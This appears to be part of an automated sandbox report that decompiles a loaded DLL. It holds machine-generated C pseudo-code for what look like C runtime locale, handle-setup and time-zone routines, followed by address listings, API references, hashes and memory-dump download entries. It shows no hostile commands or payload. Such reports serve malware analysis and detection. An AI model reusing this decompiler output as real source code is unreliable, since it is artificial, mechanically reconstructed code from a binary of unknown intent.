															goto L45;
														} else {
															_t409 =  *_t391;
															_t456 = _t409 + 2;
															do {
																_t363 =  *_t409;
																_t409 = _t409 + 2;
																__eflags = _t363 - _v468;
															} while (_t363 != _v468);
															_t408 = _t409 - _t456 >> 1;
															__eflags = _t470 - _t409 - _t456 >> 1;
															if(_t470 != _t409 - _t456 >> 1) {
																goto L45;
															}
														}
														break;
														L45:
														_v460 = _v460 + 1;
														_t391 = _t391 + 0xc;
														__eflags = _t391 - 0x6e1af95c;
													} while (_t391 <= 0x6e1af95c);
													_t393 = _v472 + 2;
													_t285 = E6E18BC38(_t408, _t393, 0x6e1afa70);
													_t467 = _v464;
													_t488 = _t285;
													_pop(_t412);
													__eflags = _t488;
													if(_t488 != 0) {
														L48:
														__eflags = _v460 - 5;
														if(_v460 > 5) {
															_t286 = _v452;
															goto L54;
														} else {
															_push(_t488);
															_t288 = E6E18BC2D(_t412,  &_v276, 0x83, _t393);
															_t513 = _t511 + 0x10;
															__eflags = _t288;
															if(_t288 != 0) {
																L82:
																_push(0);
																_push(0);
																_push(0);
																_push(0);
																_push(0);
																E6E178956();
																asm("int3");
																_push(_t505);
																_t506 = _t513;
																_t291 =  *0x6e1bb164; // 0x55e3ddbb
																_v556 = _t291 ^ _t506;
																_push(_t393);
																_t394 = _v540;
																_push(_t488);
																_push(_t467);
																_t471 = _v544;
																_v1292 = _t394;
																_v1276 = E6E17FA06(_t394, _t412, _t456) + 0x278;
																_push( &_v1256);
																_t298 = E6E1817C5(_t394, _t456, _t471, _v536, _v536,  &_v820, 0x83,  &_v1248, 0x55);
																_t515 = _t513 - 0x2e4 + 0x18;
																__eflags = _t298;
																if(_t298 != 0) {
																	_t101 = _t394 + 2; // 0x6
																	_t492 = _t101 << 4;
																	__eflags = _t492;
																	_t299 =  &_v280;
																	_v724 = _t492;
																	_t413 =  *((intOrPtr*)(_t492 + _t471));
																	while(1) {
																		_v712 = _v712 & 0x00000000;
																		__eflags =  *_t299 -  *_t413;
																		_t494 = _v724;
																		if( *_t299 !=  *_t413) {
																			break;
																		}
																		__eflags =  *_t299;
																		if( *_t299 == 0) {
																			L91:
																			_t300 = _v712;
																		} else {
																			_t503 =  *((intOrPtr*)(_t299 + 2));
																			__eflags = _t503 -  *((intOrPtr*)(_t413 + 2));
																			_v718 = _t503;
																			_t494 = _v724;
																			if(_t503 !=  *((intOrPtr*)(_t413 + 2))) {
																				break;
																			} else {
																				_t299 = _t299 + 4;
																				_t413 = _t413 + 4;
																				__eflags = _v718;
																				if(_v718 != 0) {
																					continue;
																				} else {
																					goto L91;
																				}
																			}
																		}
																		L93:
																		__eflags = _t300;
																		if(_t300 != 0) {
																			_t414 =  &_v280;
																			_t460 = _t414 + 2;
																			do {
																				_t301 =  *_t414;
																				_t414 = _t414 + 2;
																				__eflags = _t301 - _v712;
																			} while (_t301 != _v712);
																			_v728 = (_t414 - _t460 >> 1) + 1;
																			_t304 = E6E17FBEC(_t414 - _t460 >> 1, 4 + ((_t414 - _t460 >> 1) + 1) * 2);
																			_v740 = _t304;
																			__eflags = _t304;
																			if(_t304 == 0) {
																				goto L84;
																			} else {
																				_v732 =  *((intOrPtr*)(_t494 + _t471));
																				_t125 = _t394 * 4; // 0x8496
																				_v744 =  *((intOrPtr*)(_t471 + _t125 + 0xa0));
																				_t128 = _t471 + 8; // 0x8b56ff8b
																				_v748 =  *_t128;
																				_t423 =  &_v280;
																				_v720 = _t304 + 4;
																				_t308 = E6E17D69C(_t304 + 4, _v728,  &_v280);
																				_t516 = _t515 + 0xc;
																				__eflags = _t308;
																				if(_t308 != 0) {
																					_t309 = _v736;
																					_push(_t309);
																					_push(_t309);
																					_push(_t309);
																					_push(_t309);
																					_push(_t309);
																					E6E178956();
																					asm("int3");
																					_push(_t506);
																					_t311 =  &_v1400;
																					GetStartupInfoW(_t311);
																					__eflags = _v1350;
																					if(_v1350 != 0) {
																						_t311 = _v56;
																						__eflags = _t311;
																						if(_t311 != 0) {
																							_push(_t394);
																							_push(_t494);
																							_t496 = _t311->cb;
																							_t396 =  &(_t311->lpReserved);
																							_v40 = _t396 + _t496;
																							__eflags = _t496 - 0x2000;
																							if(__eflags >= 0) {
																								_t496 = 0x2000;
																							}
																							_push(_t496);
																							E6E183E39(_t423, _t460, __eflags);
																							_t315 =  *0x6e2538b0; // 0x40
																							__eflags = _t496 - _t315;
																							if(_t496 > _t315) {
																								_t496 = _t315;
																							}
																							_push(_t471);
																							_t473 = 0;
																							__eflags = _t496;
																							if(_t496 == 0) {
																								L144:
																								return _t315;
																							} else {
																								_t316 = _v40;
																								do {
																									_t425 =  *_t316;
																									__eflags = _t425 - 0xffffffff;
																									if(_t425 == 0xffffffff) {
																										goto L143;
																									}
																									__eflags = _t425 - 0xfffffffe;
																									if(_t425 == 0xfffffffe) {
																										goto L143;
																									}
																									_t461 =  *_t396;
																									__eflags = _t461 & 0x00000001;
																									if((_t461 & 0x00000001) == 0) {
																										goto L143;
																									}
																									__eflags = _t461 & 0x00000008;
																									if((_t461 & 0x00000008) != 0) {
																										L141:
																										_t463 = (_t473 & 0x0000003f) * 0x30 +  *((intOrPtr*)(0x6e2536b0 + (_t473 >> 6) * 4));
																										__eflags = _t463;
																										 *((intOrPtr*)(_t463 + 0x18)) =  *_v40;
																										 *((char*)(_t463 + 0x28)) =  *_t396;
																										L142:
																										_t316 = _v40;
																										goto L143;
																									}
																									_t322 = GetFileType(_t425);
																									__eflags = _t322;
																									if(_t322 == 0) {
																										goto L142;
																									}
																									goto L141;
																									L143:
																									_t473 = _t473 + 1;
																									_t316 = _t316 + 4;
																									_t396 =  &(_t396[0]);
																									_v40 = _t316;
																									__eflags = _t473 - _t496;
																								} while (_t473 != _t496);
																								goto L144;
																							}
																						}
																					}
																					return _t311;
																				} else {
																					__eflags = _v280 - 0x43;
																					 *((intOrPtr*)(_t494 + _t471)) = _v720;
																					if(_v280 != 0x43) {
																						L102:
																						_t325 = E6E181534(_t394, _t423, _t471,  &_v708);
																						_t429 = _v712;
																						 *(_t471 + 0xa0 + _t394 * 4) = _t325;
																					} else {
																						__eflags = _v278;
																						if(_v278 != 0) {
																							goto L102;
																						} else {
																							_t429 = _v712;
																							 *(_t471 + 0xa0 + _t394 * 4) = _t429;
																						}
																					}
																					__eflags = _t394 - 2;
																					if(_t394 != 2) {
																						__eflags = _t394 - 1;
																						if(_t394 != 1) {
																							__eflags = _t394 - 5;
																							if(_t394 == 5) {
																								 *((intOrPtr*)(_t471 + 0x14)) = _v716;
																							}
																						} else {
																							 *((intOrPtr*)(_t471 + 0x10)) = _v716;
																						}
																					} else {
																						_t501 = _v736;
																						_t464 = _t429;
																						_t439 = _t501;
																						 *(_t471 + 8) = _v716;
																						_v720 = _t501;
																						_v728 = _t501[8];
																						_v716 = _t501[9];
																						while(1) {
																							_t154 = _t471 + 8; // 0x8b56ff8b
																							__eflags =  *_t154 -  *_t439;
																							if( *_t154 ==  *_t439) {
																								break;
																							}
																							_t502 = _v720;
																							_t464 = _t464 + 1;
																							_t357 =  *_t439;
																							 *_t502 = _v728;
																							_v716 = _t439[1];
																							_t439 = _t502 + 8;
																							 *((intOrPtr*)(_t502 + 4)) = _v716;
																							_t394 = _v752;
																							_t501 = _v736;
																							_v728 = _t357;
																							_v720 = _t439;
																							__eflags = _t464 - 5;
																							if(_t464 < 5) {
																								continue;
																							} else {
																							}
																							L110:
																							__eflags = _t464 - 5;
																							if(__eflags == 0) {
																								_t178 = _t471 + 8; // 0x8b56ff8b
																								_t348 = E6E185C7C(_t394, _t471, _t501, __eflags, _v712, 1, 0x6e1af9e8, 0x7f,  &_v536,  *_t178, 1);
																								_t516 = _t516 + 0x1c;
																								__eflags = _t348;
																								_t349 = _v712;
																								if(_t348 == 0) {
																									_t501[1] = _t349;
																								} else {
																									do {
																										 *(_t506 + _t349 * 2 - 0x20c) =  *(_t506 + _t349 * 2 - 0x20c) & 0x000001ff;
																										_t349 = _t349 + 1;
																										__eflags = _t349 - 0x7f;
																									} while (_t349 < 0x7f);
																									_t352 = E6E175FDD( &_v536,  *0x6e1bb2d4, 0xfe);
																									_t516 = _t516 + 0xc;
																									__eflags = _t352;
																									_t501[1] = 0 | _t352 == 0x00000000;
																								}
																								_t193 = _t471 + 8; // 0x8b56ff8b
																								 *_t501 =  *_t193;
																							}
																							 *(_t471 + 0x18) = _t501[1];
																							goto L121;
																						}
																						__eflags = _t464;
																						if(_t464 != 0) {
																							 *_t501 =  *(_t501 + _t464 * 8);
																							_t501[1] =  *(_t501 + 4 + _t464 * 8);
																							 *(_t501 + _t464 * 8) = _v728;
																							 *(_t501 + 4 + _t464 * 8) = _v716;
																						}
																						goto L110;
																					}
																					L121:
																					_t326 = _t394 * 0xc;
																					_t200 = _t326 + 0x6e1af928; // 0x6e172dcb
																					 *0x6e1911c4(_t471); // executed
																					_t328 =  *((intOrPtr*)( *_t200))(); // executed
																					_t432 = _v732;
																					__eflags = _t328;
																					if(_t328 == 0) {
																						__eflags = _t432 - 0x6e1bb3a0;
																						if(_t432 != 0x6e1bb3a0) {
																							_t500 = _t394 + _t394;
																							__eflags = _t500;
																							asm("lock xadd [eax], ecx");
																							if(_t500 != 0) {
																								goto L126;
																							} else {
																								_t218 = _t500 * 8; // 0x30ff068b
																								E6E17FBB2( *((intOrPtr*)(_t471 + _t218 + 0x28)));
																								_t221 = _t500 * 8; // 0x30ff0c46
																								E6E17FBB2( *((intOrPtr*)(_t471 + _t221 + 0x24)));
																								_t224 = _t394 * 4; // 0x8496
																								E6E17FBB2( *((intOrPtr*)(_t471 + _t224 + 0xa0)));
																								_t435 = _v712;
																								 *((intOrPtr*)(_v724 + _t471)) = _t435;
																								 *(_t471 + 0xa0 + _t394 * 4) = _t435;
																							}
																						}
																						_t433 = _v740;
																						 *_t433 = 1;
																						 *((intOrPtr*)(_t471 + 0x28 + (_t394 + _t394) * 8)) = _t433;
																					} else {
																						 *(_v724 + _t471) = _t432;
																						_t205 = _t394 * 4; // 0x8496
																						E6E17FBB2( *((intOrPtr*)(_t471 + _t205 + 0xa0)));
																						 *(_t471 + 0xa0 + _t394 * 4) = _v744;
																						E6E17FBB2(_v740);
																						 *(_t471 + 8) = _v748;
																						goto L84;
																					}
																					goto L85;
																				}
																			}
																		} else {
																			goto L85;
																		}
																		goto L146;
																	}
																	asm("sbb eax, eax");
																	_t300 = _t299 | 0x00000001;
																	__eflags = _t300;
																	goto L93;
																} else {
																	L84:
																	__eflags = 0;
																	L85:
																	__eflags = _v16 ^ _t506;
																	return E6E173D51(_v16 ^ _t506);
																}
															} else {
																_t359 = _t488 + _t488;
																__eflags = _t359 - 0x106;
																if(_t359 >= 0x106) {
																	E6E17474E();
																	goto L82;
																} else {
																	 *((short*)(_t505 + _t359 - 0x10c)) = 0;
																	_t361 =  &_v276;
																	_push(_t361);
																	_push(_v460);
																	_push(_t467);
																	L83();
																	_t511 = _t513 + 0xc;
																	__eflags = _t361;
																	_t286 = _v452;
																	if(_t361 != 0) {
																		_t286 = _t286 + 1;
																		_v452 = _t286;
																	}
																	L54:
																	_t489 = _t393 + _t488 * 2;
																	_t402 = 0;
																	__eflags =  *_t489;
																	if( *_t489 == 0) {
																		L56:
																		__eflags = _t286;
																		L77:
																		if(__eflags != 0) {
																			goto L79;
																		} else {
																		}
																		goto L80;
																	} else {
																		_t485 =  &(_t489[0]);
																		__eflags =  *_t485;
																		if( *_t485 != 0) {
																			continue;
																		} else {
																			goto L56;
																		}
																	}
																}
															}
														}
													} else {
														_t362 = 0x3b;
														__eflags =  *_t393 - _t362;
														if( *_t393 != _t362) {
															break;
														} else {
															goto L48;
														}
													}
												}
											}
											goto L146;
										}
										goto L80;
									}
								}
							}
						}
					} else {
						__eflags = _t485;
						if(_t485 != 0) {
							_push(_t485);
							_push(_t267);
							_push(_t467);
							L83();
						}
						L80:
						__eflags = _v12 ^ _t505;
						return E6E173D51(_v12 ^ _t505);
					}
				}
				L146:
			}

0x6e181bfd
0x6e181c0f
0x6e181c17
0x6e181c19
0x6e181c1b
0x6e181c1e
0x6e181d37
0x6e181d3c
0x6e181c24
0x6e181c25
0x6e181c25
0x6e181c28
0x6e181c2b
0x6e181c2d
0x6e181c30
0x6e181c30
0x6e181c33
0x6e181c35
0x6e181c38
0x6e181c3d
0x6e181c4b
0x6e181c55
0x6e181c58
0x6e181c5b
0x6e181c5b
0x6e181c66
0x6e181c6b
0x6e181c70
0x00000000
0x6e181c76
0x6e181c79
0x6e181c79
0x6e181c7c
0x6e181c7e
0x6e181c81
0x6e181c81
0x6e181c81
0x6e181c83
0x6e181c83
0x6e181c83
0x6e181c89
0x00000000
0x00000000
0x6e181c8e
0x6e181ca5
0x6e181ca5
0x6e181c90
0x6e181c90
0x6e181c98
0x00000000
0x6e181c9a
0x6e181c9a
0x6e181c9d
0x6e181ca3
0x00000000
0x00000000
0x00000000
0x00000000
0x6e181ca3
0x6e181c98
0x6e181cae
0x6e181cb3
0x6e181cb5
0x6e181cba
0x6e181cbd
0x6e181cc0
0x6e181cc3
0x6e181cc6
0x6e181cc8
0x6e181ccd
0x6e181cd7
0x6e181cdf
0x6e181ce7
0x00000000
0x6e181ced
0x6e181cf1
0x6e181d3e
0x6e181d44
0x6e181d47
0x6e181d4a
0x6e181d4c
0x6e181d50
0x6e181d54
0x6e181d56
0x6e181d59
0x6e181d5e
0x6e181d54
0x6e181d5f
0x6e181d62
0x6e181d64
0x6e181d66
0x6e181d6a
0x6e181d6b
0x6e181d6d
0x6e181d70
0x6e181d75
0x6e181d6b
0x6e181d78
0x6e181d7b
0x6e181d7e
0x6e181d81
0x6e181d84
0x6e181d84
0x6e181cf3
0x6e181cf3
0x6e181cf6
0x6e181cf9
0x6e181cfb
0x6e181cff
0x6e181d03
0x6e181d05
0x6e181d08
0x6e181d0d
0x6e181d03
0x6e181d0e
0x6e181d13
0x6e181d15
0x6e181d1a
0x6e181d1c
0x6e181d1f
0x6e181d24
0x6e181d1a
0x6e181d25
0x6e181d29
0x6e181d29
0x6e181d2c
0x6e181d30
0x6e181d33
0x6e181d33
0x00000000
0x6e181d36
0x00000000
0x6e181ce7
0x6e181ca9
0x6e181cab
0x6e181cab
0x00000000
0x6e181cab
0x6e181d8b
0x6e181d8c
0x6e181d8d
0x6e181d8e
0x6e181d8f
0x6e181d90
0x6e181d95
0x6e181d99
0x6e181d9b
0x6e181da1
0x6e181da8
0x6e181dab
0x6e181dae
0x6e181daf
0x6e181db0
0x6e181db3
0x6e181db4
0x6e181db7
0x6e181dbd
0x6e181dbf
0x6e181de4
0x6e181dee
0x6e181df4
0x6e181df6
0x6e181dfc
0x6e181dfe
0x6e182051
0x6e182052
0x00000000
0x6e181e04
0x6e181e04
0x6e181e08
0x6e181f6f
0x6e181f6f
0x6e181f86
0x6e181f8b
0x6e181f8e
0x6e181f90
0x6e181f96
0x6e181f96
0x6e181f98
0x6e181f98
0x6e181f9b
0x6e181f9d
0x6e181fa3
0x6e181fa3
0x6e181fa5
0x6e18202c
0x6e18202c
0x6e181fab
0x6e181fab
0x6e181fad
0x6e181fb3
0x6e181fb6
0x6e181fb9
0x6e181fbf
0x00000000
0x00000000
0x6e181fc1
0x6e181fc5
0x6e181fee
0x6e181fee
0x6e181ff0
0x6e181fc7
0x6e181fc7
0x6e181fcb
0x6e181fcf
0x6e181fd6
0x6e181fdc
0x00000000
0x6e181fde
0x6e181fde
0x6e181fe1
0x6e181fe4
0x6e181fec
0x00000000
0x00000000
0x00000000
0x00000000
0x6e181fec
0x6e181fdc
0x6e181ffb
0x6e181ffb
0x6e181ffd
0x6e18202b
0x6e18202b
0x00000000
0x6e181fff
0x6e181fff
0x6e182005
0x6e182006
0x6e182007
0x6e182008
0x6e18200d
0x6e182013
0x6e182016
0x6e182018
0x6e18201f
0x6e182021
0x6e182023
0x6e18201a
0x6e18201a
0x6e18201b
0x00000000
0x6e18201b
0x6e182018
0x00000000
0x6e181ffd
0x6e181ff4
0x6e181ff6
0x6e181ff9
0x6e181ff9
0x00000000
0x6e181ff9
0x6e182032
0x6e182032
0x6e182033
0x6e182036
0x6e18203c
0x6e18203c
0x6e182045
0x6e182047
0x00000000
0x6e182049
0x6e182049
0x00000000
0x6e182049
0x6e182047
0x00000000
0x6e181e0e
0x6e181e0e
0x6e181e13
0x00000000
0x6e181e19
0x6e181e19
0x6e181e1e
0x00000000
0x6e181e24
0x6e181e24
0x6e181e2a
0x6e181e2f
0x6e181e31
0x6e181e38
0x6e181e39
0x6e181e3b
0x00000000
0x00000000
0x6e181e41
0x6e181e41
0x6e181e45
0x6e181e4b
0x00000000
0x6e181e51
0x6e181e53
0x6e181e54
0x6e181e57
0x00000000
0x6e181e5d
0x6e181e5d
0x6e181e63
0x6e181e68
0x6e181e72
0x6e181e76
0x6e181e7b
0x6e181e7e
0x6e181e80
0x00000000
0x6e181e82
0x6e181e82
0x6e181e84
0x6e181e87
0x6e181e87
0x6e181e8a
0x6e181e8d
0x6e181e8d
0x6e181e98
0x6e181e9a
0x6e181e9c
0x00000000
0x00000000
0x6e181e9c
0x00000000
0x6e181e9e
0x6e181e9e
0x6e181ea4
0x6e181ea7
0x6e181ea7
0x6e181eb5
0x6e181ebe
0x6e181ec3
0x6e181ec9
0x6e181ecc
0x6e181ecd
0x6e181ecf
0x6e181edd
0x6e181edd
0x6e181ee4
0x6e181f45
0x00000000
0x6e181ee6
0x6e181ee6
0x6e181ef4
0x6e181ef9
0x6e181efc
0x6e181efe
0x6e18206e
0x6e182070
0x6e182071
0x6e182072
0x6e182073
0x6e182074
0x6e182075
0x6e18207a
0x6e18207d
0x6e18207e
0x6e182086
0x6e18208d
0x6e182090
0x6e182091
0x6e182094
0x6e182098
0x6e182099
0x6e18209c
0x6e1820ac
0x6e1820b8
0x6e1820cf
0x6e1820d4
0x6e1820d7
0x6e1820d9
0x6e1820ee
0x6e1820f1
0x6e1820f1
0x6e1820f4
0x6e1820fa
0x6e182103
0x6e182105
0x6e182108
0x6e18210f
0x6e182112
0x6e182118
0x00000000
0x00000000
0x6e18211a
0x6e18211e
0x6e182147
0x6e182147
0x6e182120
0x6e182120
0x6e182124
0x6e182128
0x6e18212f
0x6e182135
0x00000000
0x6e182137
0x6e182137
0x6e18213a
0x6e18213d
0x6e182145
0x00000000
0x00000000
0x00000000
0x00000000
0x6e182145
0x6e182135
0x6e182154
0x6e182154
0x6e182156
0x6e18215c
0x6e182162
0x6e182165
0x6e182165
0x6e182168
0x6e18216b
0x6e18216b
0x6e18217b
0x6e182189
0x6e18218e
0x6e182195
0x6e182197
0x00000000
0x6e18219d
0x6e1821a3
0x6e1821a9
0x6e1821b0
0x6e1821b6
0x6e1821b9
0x6e1821bf
0x6e1821cc
0x6e1821d3
0x6e1821d8
0x6e1821db
0x6e1821dd
0x6e182436
0x6e18243c
0x6e18243d
0x6e18243e
0x6e18243f
0x6e182440
0x6e182441
0x6e182446
0x6e182449
0x6e18244f
0x6e182453
0x6e182459
0x6e18245e
0x6e182464
0x6e182467
0x6e182469
0x6e18246f
0x6e182470
0x6e182471
0x6e182473
0x6e182479
0x6e182481
0x6e182483
0x6e182485
0x6e182485
0x6e182487
0x6e182488
0x6e18248d
0x6e182493
0x6e182495
0x6e182497
0x6e182497
0x6e182499
0x6e18249a
0x6e18249c
0x6e18249e
0x6e1824f6
0x00000000
0x6e1824a0
0x6e1824a0
0x6e1824a3
0x6e1824a3
0x6e1824a5
0x6e1824a8
0x00000000
0x00000000
0x6e1824aa
0x6e1824ad
0x00000000
0x00000000
0x6e1824af
0x6e1824b1
0x6e1824b4
0x00000000
0x00000000
0x6e1824b6
0x6e1824b9
0x6e1824c6
0x6e1824d6
0x6e1824d6
0x6e1824df
0x6e1824e4
0x6e1824e7
0x6e1824e7
0x00000000
0x6e1824e7
0x6e1824bc
0x6e1824c2
0x6e1824c4
0x00000000
0x00000000
0x00000000
0x6e1824ea
0x6e1824ea
0x6e1824eb
0x6e1824ee
0x6e1824ef
0x6e1824f2
0x6e1824f2
0x00000000
0x6e1824a3
0x6e18249e
0x6e182469
0x6e1824fc
0x6e1821e3
0x6e1821e3
0x6e1821f1
0x6e1821f4
0x6e18220f
0x6e182216
0x6e18221c
0x6e182222
0x6e1821f6
0x6e1821f6
0x6e1821fe
0x00000000
0x6e182200
0x6e182200
0x6e182206
0x6e182206
0x6e1821fe
0x6e182229
0x6e18222c
0x6e182349
0x6e18234c
0x6e182359
0x6e18235c
0x6e182364
0x6e182364
0x6e18234e
0x6e182354
0x6e182354
0x6e182232
0x6e182232
0x6e182238
0x6e182240
0x6e182242
0x6e182245
0x6e18224e
0x6e182257
0x6e18225d
0x6e18225d
0x6e182260
0x6e182262
0x00000000
0x00000000
0x6e182264
0x6e18226a
0x6e18226b
0x6e182276
0x6e18227e
0x6e182286
0x6e182289
0x6e18228c
0x6e182292
0x6e182298
0x6e18229e
0x6e1822a4
0x6e1822a7
0x00000000
0x00000000
0x6e1822a9
0x6e1822ce
0x6e1822ce
0x6e1822d1
0x6e1822d5
0x6e1822ee
0x6e1822f3
0x6e1822f6
0x6e1822f8
0x6e1822fe
0x6e182339
0x6e182300
0x6e182300
0x6e182305
0x6e18230d
0x6e18230e
0x6e18230e
0x6e182325
0x6e18232c
0x6e18232f
0x6e182334
0x6e182334
0x6e18233c
0x6e18233f
0x6e18233f
0x6e182344
0x00000000
0x6e182344
0x6e1822ab
0x6e1822ad
0x6e1822b2
0x6e1822b8
0x6e1822c1
0x6e1822ca
0x6e1822ca
0x00000000
0x6e1822ad
0x6e182367
0x6e182367
0x6e18236b
0x6e182373
0x6e182379
0x6e18237c
0x6e182382
0x6e182384
0x6e1823c4
0x6e1823ca
0x6e1823d1
0x6e1823d1
0x6e1823d7
0x6e1823db
0x00000000
0x6e1823dd
0x6e1823dd
0x6e1823e1
0x6e1823e6
0x6e1823ea
0x6e1823ef
0x6e1823f6
0x6e182404
0x6e18240a
0x6e18240d
0x6e18240d
0x6e1823db
0x6e18241c
0x6e182424
0x6e18242d
0x6e182386
0x6e18238c
0x6e18238f
0x6e182396
0x6e1823a8
0x6e1823af
0x6e1823bc
0x00000000
0x6e1823bc
0x00000000
0x6e182384
0x6e1821dd
0x6e182158
0x00000000
0x6e182158
0x00000000
0x6e182156
0x6e18214f
0x6e182151
0x6e182151
0x00000000
0x6e1820db
0x6e1820db
0x6e1820db
0x6e1820dd
0x6e1820e2
0x6e1820ed
0x6e1820ed
0x6e181f04
0x6e181f04
0x6e181f07
0x6e181f0c
0x6e182069
0x00000000
0x6e181f12
0x6e181f14
0x6e181f1c
0x6e181f22
0x6e181f23
0x6e181f29
0x6e181f2a
0x6e181f2f
0x6e181f32
0x6e181f34
0x6e181f3a
0x6e181f3c
0x6e181f3d
0x6e181f3d
0x6e181f4b
0x6e181f4b
0x6e181f4e
0x6e181f50
0x6e181f53
0x6e181f61
0x6e181f61
0x6e18204b
0x6e18204b
0x00000000
0x6e18204d
0x6e18204d
0x00000000
0x6e181f55
0x6e181f55
0x6e181f58
0x6e181f5b
0x00000000
0x00000000
0x00000000
0x00000000
0x6e181f5b
0x6e181f53
0x6e181f0c
0x6e181efe
0x6e181ed1
0x6e181ed3
0x6e181ed4
0x6e181ed7
0x00000000
0x00000000
0x00000000
0x00000000
0x6e181ed7
0x6e181ecf
0x6e181e57
0x00000000
0x6e181e4b
0x00000000
0x6e181f68
0x6e181e1e
0x6e181e13
0x6e181e08
0x6e181dc1
0x6e181dc1
0x6e181dc3
0x6e181dc5
0x6e181dc6
0x6e181dc7
0x6e181dc8
0x6e181dcd
0x6e182058
0x6e18205d
0x6e182068
0x6e182068
0x6e181dbf
0x00000000

APIs

Part of subcall function 6E17FBEC: RtlAllocateHeap.NTDLL(00000000,0000060B,?,?,6E173D1F,0000060B,?,6E1673C4,0000060B), ref: 6E17FC1E

_free.LIBCMT ref: 6E181D08
_free.LIBCMT ref: 6E181D1F
_free.LIBCMT ref: 6E181D3E
_free.LIBCMT ref: 6E181D59
_free.LIBCMT ref: 6E181D70

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: 42267f708b4f15829cbfeae65f5f38c6d79de510f0bbd27414274bc66f2a86dc
Instruction ID: b54ac80f585249141bb775bcebece30b7fa973b39e6f877ec66ffee3137a2a48
Opcode Fuzzy Hash: 42267f708b4f15829cbfeae65f5f38c6d79de510f0bbd27414274bc66f2a86dc
Instruction Fuzzy Hash: 96511672A00605AFDB21CFA9C850BAB77F9EF59720B204659E869DB250E731D984EF40

Uniqueness

Uniqueness Score: -1.00%

Function 6E1831DE, Relevance: 7.7, APIs: 5, Instructions: 171
timeCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E6E1831DE(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				int _v8;
				int _v12;
				int _v16;
				int _v20;
				signed int _v56;
				char _v268;
				intOrPtr _v272;
				char _v276;
				char _v312;
				char _v316;
				void* __ebp;
				void* _t36;
				signed int _t38;
				signed int _t42;
				signed int _t50;
				void* _t54;
				void* _t56;
				signed int* _t61;
				intOrPtr _t71;
				void* _t78;
				void* _t83;
				signed int _t85;
				void* _t87;
				signed int _t88;
				signed int _t90;
				int _t94;
				char** _t97;
				signed int _t101;
				signed int _t102;
				signed int _t107;
				signed int _t108;
				intOrPtr _t117;
				intOrPtr _t119;

				_t89 = __edi;
				_t97 = E6E182C48();
				_v8 = 0;
				_v12 = 0;
				_v16 = 0;
				_t36 = E6E182CA6( &_v8);
				_pop(_t78);
				if(_t36 != 0) {
					L19:
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E6E178956();
					asm("int3");
					_t107 = _t108;
					_t38 =  *0x6e1bb164; // 0x55e3ddbb
					_v56 = _t38 ^ _t107;
					 *0x6e1bb474 =  *0x6e1bb474 | 0xffffffff;
					 *0x6e1bb468 =  *0x6e1bb468 | 0xffffffff;
					_push(0);
					_push(_t97);
					_t90 = 0;
					 *0x6e2538c8 = 0;
					_t42 = E6E18D077(_t78, _t87, __eflags,  &_v316,  &_v312, 0x100, 0x6e1affb4);
					__eflags = _t42;
					if(_t42 != 0) {
						__eflags = _t42 - 0x22;
						if(_t42 == 0x22) {
							_t102 = E6E17FBEC(_t78, _v272);
							_pop(_t83);
							__eflags = _t102;
							if(__eflags != 0) {
								_t50 = E6E18D077(_t83, _t87, __eflags,  &_v276, _t102, _v272, 0x6e1affb4);
								__eflags = _t50;
								if(_t50 == 0) {
									E6E17FBB2(0);
									_t90 = _t102;
								} else {
									_push(_t102);
									goto L25;
								}
							} else {
								_push(0);
								L25:
								E6E17FBB2();
							}
						}
					} else {
						_t90 =  &_v268;
					}
					asm("sbb esi, esi");
					_t101 =  ~(_t90 -  &_v268) & _t90;
					__eflags = _t90;
					if(__eflags == 0) {
						L33:
						E6E1831DE(0x6e1affb4, _t90, _t101, __eflags);
					} else {
						__eflags =  *_t90;
						if(__eflags == 0) {
							goto L33;
						} else {
							_push(_t90);
							E6E183009(0x6e1affb4, _t90, _t101, __eflags);
						}
					}
					E6E17FBB2(_t101);
					__eflags = _v12 ^ _t107;
					return E6E173D51(_v12 ^ _t107);
				} else {
					_t54 = E6E182C4E( &_v12);
					_pop(_t78);
					if(_t54 != 0) {
						goto L19;
					} else {
						_t56 = E6E182C7A( &_v16);
						_pop(_t78);
						if(_t56 != 0) {
							goto L19;
						} else {
							E6E17FBB2( *0x6e2538c4);
							 *0x6e2538c4 = 0;
							 *_t108 = 0x6e2538d0;
							if(GetTimeZoneInformation(??) != 0xffffffff) {
								_t85 =  *0x6e2538d0 * 0x3c;
								_t88 =  *0x6e253924; // 0x0
								_push(__edi);
								 *0x6e2538c8 = 1;
								_v8 = _t85;
								_t117 =  *0x6e253916; // 0x0
								if(_t117 != 0) {
									_v8 = _t85 + _t88 * 0x3c;
								}
								_t119 =  *0x6e25396a; // 0x0
								if(_t119 == 0) {
									L9:
									_v12 = 0;
									_v16 = 0;
								} else {
									_t71 =  *0x6e253978; // 0x0
									if(_t71 == 0) {
										goto L9;
									} else {
										_v12 = 1;
										_v16 = (_t71 - _t88) * 0x3c;
									}
								}
								_t94 = E6E17B6F0(0, _t88);
								if(WideCharToMultiByte(_t94, 0, 0x6e2538d4, 0xffffffff,  *_t97, 0x3f, 0,  &_v20) == 0 || _v20 != 0) {
									 *( *_t97) = 0;
								} else {
									( *_t97)[0x3f] = 0;
								}
								if(WideCharToMultiByte(_t94, 0, 0x6e253928, 0xffffffff, _t97[1], 0x3f, 0,  &_v20) == 0 || _v20 != 0) {
									 *(_t97[1]) = 0;
								} else {
									_t97[1][0x3f] = 0;
								}
							}
							 *(E6E182C42()) = _v8;
							 *(E6E182C36()) = _v12;
							_t61 = E6E182C3C();
							 *_t61 = _v16;
							return _t61;
						}
					}
				}
			}

0x6e1831de
0x6e1831ed
0x6e1831f4
0x6e1831f8
0x6e1831fb
0x6e1831fe
0x6e183203
0x6e183206
0x6e18332e
0x6e18332e
0x6e18332f
0x6e183330
0x6e183331
0x6e183332
0x6e183333
0x6e183338
0x6e18333c
0x6e183344
0x6e18334b
0x6e18334e
0x6e18335b
